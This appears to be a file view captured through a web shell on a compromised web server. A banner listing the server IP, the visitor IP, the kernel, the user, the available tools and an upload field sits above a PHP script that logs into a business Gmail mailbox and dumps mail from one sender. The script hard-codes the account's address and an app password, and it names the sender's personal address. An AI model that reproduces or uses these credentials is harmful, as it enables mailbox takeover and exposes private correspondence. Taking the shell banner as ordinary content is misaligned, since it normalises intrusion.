| Server IP : 80.211.21.168 / Your IP : 216.73.217.143 Web Server : Apache System : Linux alex-webdesign.it 3.10.0-1160.119.1.el7.tuxcare.els22.x86_64 #1 SMP Mon Aug 18 06:07:12 UTC 2025 x86_64 User : admin_japan ( 10003) PHP Version : 8.2.32 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/cerchijapan.it/ai4dealers.com/ |
Upload File : |
<?php
declare(strict_types=1);
ini_set('display_errors', '1');
error_reporting(E_ALL);
set_time_limit(0);
// === CREDENZIALI ===
$imapMailbox = '{imap.gmail.com:993/imap/ssl/novalidate-cert}INBOX';
$username = 'info@marinellimotors.it';
$password = 'jobw wsvl mpfk jcqt'; // App Password con spazi
$needleEmail = 'leonardo.pavanello@quasira.it';
imap_timeout(IMAP_OPENTIMEOUT, 30);
imap_timeout(IMAP_READTIMEOUT, 60);
imap_timeout(IMAP_WRITETIMEOUT, 60);
$inbox = @imap_open($imapMailbox, $username, $password);
if (!$inbox) {
$errors = imap_errors();
die("Connessione IMAP fallita: " . ($errors ? implode(' | ', $errors) : 'motivo sconosciuto') . PHP_EOL);
}
$uids = imap_search($inbox, 'FROM "' . addslashes($needleEmail) . '"', SE_UID);
if ($uids === false || count($uids) === 0) {
imap_close($inbox);
exit("Nessuna email trovata da $needleEmail." . PHP_EOL);
}
sort($uids); // dalla più vecchia alla più recente
foreach ($uids as $uid) {
// imap_fetch_overview accetta una "sequence" stringa; FT_UID lo fa lavorare sugli UID
$ovArr = imap_fetch_overview($inbox, (string)$uid, FT_UID);
$ov = $ovArr[0] ?? null;
if (!$ov) continue;
$subject = decode_mime_str($ov->subject ?? '(senza oggetto)');
$from = decode_mime_str($ov->from ?? '');
$to = decode_mime_str($ov->to ?? '');
$date = $ov->date ?? '';
$body = get_message_body($inbox, (int)$uid); // <-- int
echo str_repeat('-', 700) . PHP_EOL;
echo "UID:<br> $uid" . PHP_EOL;
echo "Data: $date" . PHP_EOL;
echo "From: $from" . PHP_EOL;
echo "To: $to" . PHP_EOL;
echo "Oggetto: $subject" . PHP_EOL . PHP_EOL;
echo "Contenuto:" . PHP_EOL;
echo $body . "<br>".PHP_EOL . PHP_EOL;
}
imap_close($inbox);
/* ------------------------------- Helpers ---------------------------------- */
function decode_mime_str(?string $string, string $targetCharset = 'UTF-8'): string {
if (!$string) return '';
$elements = imap_mime_header_decode($string);
$result = '';
foreach ($elements as $el) {
$text = $el->text ?? '';
$cs = $el->charset ?? '';
if ($cs && strtolower($cs) !== 'default' && strtolower($cs) !== strtolower($targetCharset)) {
$converted = @iconv($cs, $targetCharset . '//TRANSLIT//IGNORE', $text);
$result .= $converted !== false ? $converted : $text;
} else {
$result .= $text;
}
}
return $result;
}
function get_message_body($inbox, int $uid): string {
// imap_fetchstructure richiede int; con FT_UID interpreta $uid come UID
$structure = imap_fetchstructure($inbox, $uid, FT_UID);
if (!$structure) return '';
if (!isset($structure->parts)) {
return decode_part($inbox, $uid, '1', $structure);
}
$plain = find_part_recursive($inbox, $uid, $structure, 'TEXT/PLAIN');
if (trim($plain) !== '') return $plain;
$html = find_part_recursive($inbox, $uid, $structure, 'TEXT/HTML');
if ($html !== '') return trim(strip_tags($html));
return decode_part($inbox, $uid, '1', $structure);
}
function find_part_recursive($inbox, int $uid, $structure, string $wantedMime, string $prefix = ''): string {
if (!isset($structure->parts) || !is_array($structure->parts)) return '';
foreach ($structure->parts as $index => $part) {
$partNumber = $prefix === '' ? (string)($index + 1) : $prefix . '.' . ($index + 1);
$isAttachment = false;
if (isset($part->disposition) && strtolower($part->disposition) === 'attachment') $isAttachment = true;
if (isset($part->parameters)) {
foreach ($part->parameters as $p) {
if (isset($p->attribute) && strtolower($p->attribute) === 'name') $isAttachment = true;
}
}
if (isset($part->dparameters)) {
foreach ($part->dparameters as $p) {
if (isset($p->attribute) && strtolower($p->attribute) === 'filename') $isAttachment = true;
}
}
if ($isAttachment) continue;
$mime = '';
if (isset($part->type, $part->subtype)) {
// type 0 = TEXT, 2 = MESSAGE
if ((int)$part->type === 0) $mime = 'TEXT/' . strtoupper($part->subtype);
elseif ((int)$part->type === 2) $mime = 'MESSAGE/' . strtoupper($part->subtype);
}
if ($mime === strtoupper($wantedMime)) {
$decoded = decode_part($inbox, $uid, $partNumber, $part);
if (trim($decoded) !== '') return $decoded;
}
if (isset($part->parts)) {
$inner = find_part_recursive($inbox, $uid, $part, $wantedMime, $partNumber);
if (trim($inner) !== '') return $inner;
}
}
return '';
}
function decode_part($inbox, int $uid, string $partNumber, $part): string {
// imap_fetchbody: primo argomento int; FT_UID per usare l’UID
$data = imap_fetchbody($inbox, $uid, $partNumber, FT_UID);
if ($data === false) return '';
$encoding = (int)($part->encoding ?? 0);
switch ($encoding) {
case 3: $data = base64_decode($data, true) ?: ''; break; // BASE64
case 4: $data = quoted_printable_decode($data); break; // QP
default: /* 7bit/8bit/binary */ break;
}
$charset = 'UTF-8';
if (isset($part->parameters)) {
foreach ($part->parameters as $p) {
if (isset($p->attribute) && strtolower($p->attribute) === 'charset' && !empty($p->value)) {
$charset = $p->value;
break;
}
}
}
if (strtolower($charset) !== 'utf-8') {
$converted = @iconv($charset, 'UTF-8//TRANSLIT//IGNORE', $data);
if ($converted !== false) $data = $converted;
}
return trim($data);
}